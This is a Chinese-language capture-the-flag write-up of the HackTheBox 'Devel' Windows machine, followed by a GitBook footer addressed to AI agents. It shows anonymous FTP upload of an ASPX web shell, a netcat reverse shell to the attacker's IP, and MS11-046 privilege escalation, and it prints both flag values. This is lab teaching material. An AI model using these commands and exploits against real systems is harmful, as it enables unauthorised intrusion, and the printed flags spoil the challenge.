> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Devel HackTheBox 复盘 Devel HackTheBox 简单 Windows 机器复盘，涵盖匿名 FTP、ASPX Web Shell、反向 Shell 访问以及 MS11-046 提权。 {% embed url="" %} {% hint style="warning" %} **技能：** * 匿名 FTP 访问 * ASPX Web Shell 上传 * MS11-046 内核权限提升 {% endhint %} ## 侦察 ### 工作区设置 ```bash mkdir Devel cd !$ ```

### 主机发现 TTL 为 128 表明目标很可能运行的是 Windows。 ```bash ping -c 1 10.129.5.142 ```

### 端口扫描运行完整的 TCP 扫描以识别开放端口： ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts ``` 21 和 80 端口开放。

运行有针对性的扫描以识别暴露的服务： ```bash nmap -sCV -p80,21 10.129.5.142 -oN targeted ```

## 初始访问 ### 匿名 FTP 访问 FTP 接受匿名认证，并映射到 80 端口上的 Web 服务器。认证后列出 FTP 目录： ```bash ftp anonymous@10.129.5.142 ls ``` 该目录包含 `aspnet_client`, `iisstart.htm`，以及 `welcome.png`。这些都是标准的 IIS Web 根目录文件。 Web 服务器显示默认 `welcome.png` 图片。

在本地创建一个测试文件并上传以验证写入权限： ```bash echo test > test.txt put test.txt ``` 上传成功。访问 `http://10.129.5.142/test.txt` 确认 FTP 上传内容由 IIS 提供服务。

### ASPX Web Shell {% embed url="" %} 下载 ASPX Web Shell： ```bash wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx ``` 通过 FTP 上传它： ```bash put aspx_cmd.aspx ```

打开 `http://10.129.5.142/aspx_cmd.aspx` 以执行命令。该 Web Shell 提供远程命令执行： ```bash whoami iis apppool\web ```

### 反向 shell 复制 `nc.exe` 到当前目录。该二进制文件会创建交互式 Windows shell： ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` 启动一个 SMB 服务器来共享该可执行文件： ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

在 4444 端口上启动监听器： ```bash sudo rlwrap nc -nvlp 4444 ``` 通过 Web Shell 执行这些命令。第一条命令从 SMB 共享中复制 Netcat。第二条连接回监听器： ```bash copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444 ```

该 shell 以 `iis apppool\web`身份运行。该账户权限有限。 ## 权限提升 ### 系统信息 ```bash systeminfo ``` 这会显示 Windows 版本和系统详细信息。

目标运行的是 Windows 7 Enterprise。 ### MS11-046 `systeminfo` 识别出 Windows 7 Enterprise，版本 `7600`。这个未打补丁的版本是已知本地内核漏洞利用的候选目标。 MS11-046 是一个本地权限提升漏洞。它需要主机上已有代码执行权限。它不会远程利用 SMB。使用 MS11-046 内核漏洞利用： {% embed url="" %} 克隆漏洞利用仓库： ```bash git clone https://github.com/SecWiki/windows-kernel-exploits ``` 进入漏洞利用目录： ```bash cd windows-kernel-exploits/MS11-046 ``` 通过 SMB 与目标共享该可执行文件： ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

将可执行文件从 Windows shell 复制到可写目录： ```bash copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe ```

确认当前用户，然后运行漏洞利用： ```bash whoami iis apppool\web ``` ```bash .\ms11-046.exe ``` 漏洞利用返回一个 `NT AUTHORITY\SYSTEM` shell： ```bash whoami nt authority\system ```

## 标志 ```bash type c:\Users\babis\Desktop\user.txt 0efea4c5e140c594ce1ca88594b3d7dc type c:\Users\Administrator\Desktop\root.txt 3d360ef3c74b5936a51971a8f7383c11 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.